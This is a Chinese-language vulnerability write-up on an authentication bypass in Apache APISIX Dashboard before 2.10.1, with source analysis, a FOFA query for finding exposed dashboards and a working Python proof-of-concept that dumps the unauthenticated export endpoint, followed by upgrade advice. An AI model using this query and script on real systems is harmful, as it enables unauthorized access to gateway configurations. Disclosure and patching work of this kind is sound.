0x00 漏洞详情
Apache APISIX是一个实时、动态、高性能的API网关。Apache APISIX Dashboard旨在让用户尽可能容易地通过前端界面来操作Apache APISIX。
在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架,在框架gin的基础上引入了框架droplet。所有API和认证中间件都是基于框架 droplet开发的,但有些API直接使用了框架gin的接口,从而绕过身份验证,导致未授权访问。
0x01 影响版本
Apache APISIX Dashboard < 2.10.1
0x02 源码分析(以2.9.0版本为例)
- 下载地址
https://github.com/apache/apisix-dashboard/tree/release/2.9.0
apisix-dashboard-release-2.9.0\apisix-dashboard-release-2.9.0\api\internal\filter路径下authentication.go文件中定义了用户通过URL访问以/apisix开头的接口时,使用HTTP Header中的Authorization进行权限认证。还定义了两个例外/apisix/admin/tool/version和/apisix/admin/user/login不需要进行权限认证认证。
在apisix-dashboard-release-2.9.0/api/internal/route.go中注册了一些handler,在正常情况下利用droplet对URL进行鉴权处理,与authentication.go中的handle对应。
在apisix-dashboard-release-2.9.0/api/internal/handler/migrate/migrate.go中发现有两个接口/apisix/admin/migrate/export和/apisix/admin/migrate/import没有经过droplet进行处理,存在认证绕过。
0x03 漏洞复现
fofa语句
title="Apache APISIX Dashboard"
使用ip+端口+/apisix/admin/migrate/export 的形式,不一定每个Ip都有这个漏洞,多尝试几个。
0x04 POC
import urllib.request
import ssl
url=input("输入测试地址\n>>>") + "/apisix/admin/migrate/export"
context = ssl._create_unverified_context()
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"X-Forwarded-For": "127.0.0.1"
}
try:
request = urllib.request.Request(url=url, headers=header)
response = urllib.request.urlopen(request, context=context, timeout=10)
html = str(response.read())
if "Routes" in html or "hosts" in html and response.status == 200:
print(html)
print("[" + url + "]" + "[===存在Apache APISIX Dashboard身份认证绕过漏洞===]")
else:
print("[" + url + "]" + "[不存在Apache APISIX Dashboard身份认证绕过漏洞]")
except Exception as e:
print("[" + url + "]" + "[不存在漏洞]", format(e))
0x05 修复建议
目前此漏洞已经修复,建议受影响用户尽快升级更新至Apache APISIX Dashboard 2.10.1版本。
下载链接:https://github.com/apache/apisix-dashboard/releases
缓解措施:更改默认用户名和密码,限制源IP访问 Apache APISIX Dashboard。